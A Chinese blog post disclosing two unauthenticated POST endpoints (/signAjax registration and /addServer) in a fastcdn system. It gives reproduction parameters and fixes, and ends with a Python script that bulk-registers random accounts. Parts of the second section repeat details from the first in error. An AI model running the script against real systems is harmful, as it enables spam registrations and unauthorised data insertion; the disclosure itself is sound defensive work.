51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

fastcdn系统昨日上线发现两个未经身份验证接口

夏柔昨天简单测试了一下,发现可使用任意客户端发起post请求并成功存储到数据库的接口,属于中危漏洞;

第一个:注册接口

  • 本文主题: 注册账号接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求

    • 问题描述: 在注册接口中发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户注册新账户,从而导致未经授权的访问和潜在的安全问题。
  • 复现步骤:

    • 使用任意 HTTP 客户端向注册接口发送 POST 请求,
    • URL事件:/signAjax
    • 在请求中包含以下数据:
      • __RequestVerificationToken: 貌似是用于身份验证,但该功能并未生效
      • user: 用户名
      • password: 密码
      • rememberMe: true

    经测试,__RequestVerificationToken无需传值,直接传参 user password 即可存储用户数据

    • 影响范围:
      此漏洞可能影响所有尝试注册新账户的用户,以及系统可能面临的安全风险。
  • 解决方案:
    强烈建议在注册接口中实施适当的身份验证机制,例如验证码进行人机身份验证,以防止未经授权的访问!

第二个:添加节点

  • 本文主题: 添加节点接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求

    • 问题描述: 在添加节点接口发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户进行添加节点,从而导致未经授权的访问和潜在的安全问题。
      复现步骤:
    • 使用任意 HTTP 客户端向注册接口发送 POST 请求,
    • URL事件:/addServer
    • 在请求中包含以下数据:
      • ip: 随机生成ip
      • name: 用户名
      • key: 秘钥
      • status: on

    经测试,直接传参 user password 即可存储添加节点

    • 影响范围:
      此漏洞可能影响系统被恶意刷数据,以及系统可能面临的安全风险。
  • 解决方案:
    强烈建议在添加节点接口中实施适当的身份验证机制,例如Oauth,以防止未经授权的访问!

第一个刷注册的Python脚本例子(严禁违法用途,仅供测试):

import requests
import random
import json
import string

# 你的fastcdn地址
url = "http://127.0.0.1:5380/signAjax"

# 配置循环次数和运行总次数
loop_count = 10
total_runs = 100


# 随机生成用户和密码
def generate_random_string(length=8):
    letters_and_digits = string.ascii_letters + string.digits
    return ''.join(random.choice(letters_and_digits) for i in range(length))


# 发送请求
def send_request():
    # 随机生成用户和密码
    user = generate_random_string()
    password = generate_random_string()

    # 请求参数
    payload = {
        "__RequestVerificationToken": "",
        "user": user,
        "password": password,
        "rememberMe": "true"
    }

    # 发送POST请求
    response = requests.post(url, data=payload)

    # 处理响应
    if response.status_code == 200:
        data = response.json()
        if data["code"] == 1:
            write_to_file("success", user, password)
        else:
            write_to_file("error", user, password)
    else:
        write_to_file("error", user, password)


# 写入到文件
def write_to_file(result, user, password):
    with open(f"{result}.txt", "a") as file:
        file.write(f"User: {user}, Password: {password}\n")


# 执行循环
for i in range(total_runs):
    send_request()
    if (i + 1) % loop_count == 0:
        print(f"已循环 {i + 1} 次")

print("循环结束")
赞(0)
未经允许不得转载:工具盒子 » fastcdn系统昨日上线发现两个未经身份验证接口